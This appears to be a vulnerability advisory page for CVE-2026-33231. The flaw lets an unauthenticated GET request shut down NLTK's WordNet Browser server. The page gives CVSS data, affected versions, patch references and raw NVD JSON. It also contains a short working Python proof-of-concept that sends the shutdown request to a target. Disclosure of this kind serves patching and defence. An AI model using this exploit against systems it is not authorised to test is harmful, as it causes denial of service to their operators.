Security Vulnerability Report
中文
CVE-2026-33231 CVSS 7.5 HIGH

CVE-2026-33231

Published: 2026-03-20 23:16:47
Last Modified: 2026-03-23 19:15:05

Description

NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, `nltk.app.wordnet_app` allows unauthenticated remote shutdown of the local WordNet Browser HTTP server when it is started in its default mode. A simple `GET /SHUTDOWN%20THE%20SERVER` request causes the process to terminate immediately via `os._exit(0)`, resulting in a denial of service. Commit bbaae83db86a0f49e00f5b0db44a7254c268de9b patches the issue.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:nltk:nltk:*:*:*:*:*:*:*:* - VULNERABLE
NLTK <= 3.9.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit_nltk_dos(target_url): """ Exploit for CVE-2026-33231 Send a malicious GET request to shutdown the NLTK WordNet Browser server. """ # The vulnerable endpoint path payload_path = "/SHUTDOWN%20THE%20SERVER" # Construct the full URL full_url = f"{target_url}{payload_path}" try: print(f"[+] Sending shutdown request to {full_url}...") response = requests.get(full_url) # The server might crash before responding print("[+] Request sent.") except requests.exceptions.ConnectionError: print("[+] Server appears to have shut down (Connection Error).") except Exception as e: print(f"[-] An error occurred: {e}") # Usage Example: # exploit_nltk_dos("http://127.0.0.1:8000")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33231", "sourceIdentifier": "[email protected]", "published": "2026-03-20T23:16:46.850", "lastModified": "2026-03-23T19:15:05.163", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, `nltk.app.wordnet_app` allows unauthenticated remote shutdown of the local WordNet Browser HTTP server when it is started in its default mode. A simple `GET /SHUTDOWN%20THE%20SERVER` request causes the process to terminate immediately via `os._exit(0)`, resulting in a denial of service. Commit bbaae83db86a0f49e00f5b0db44a7254c268de9b patches the issue."}, {"lang": "es", "value": "NLTK (Natural Language Toolkit) es un conjunto de módulos Python de código abierto, conjuntos de datos y tutoriales que apoyan la investigación y el desarrollo en Procesamiento del Lenguaje Natural. En las versiones 3.9.3 y anteriores, 'nltk.app.wordnet_app' permite el apagado remoto no autenticado del servidor HTTP del navegador WordNet local cuando se inicia en su modo predeterminado. Una simple solicitud 'GET /SHUTDOWN%20THE%20SERVER' provoca que el proceso termine inmediatamente a través de 'os._exit(0)', lo que resulta en una denegación de servicio. El commit bbaae83db86a0f49e00f5b0db44a7254c268de9b corrige el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nltk:nltk:*:*:*:*:*:*:*:*", "versionEndIncluding": "3.9.3", "matchCriteriaId": "E3C35863-7D82-4EEF-BDE8-E94C559CF4FB"}]}]}], "references": [{"url": "https://github.com/nltk/nltk/commit/bbaae83db86a0f49e00f5b0db44a7254c268de9b", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/nltk/nltk/security/advisories/GHSA-jm6w-m3j8-898g", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}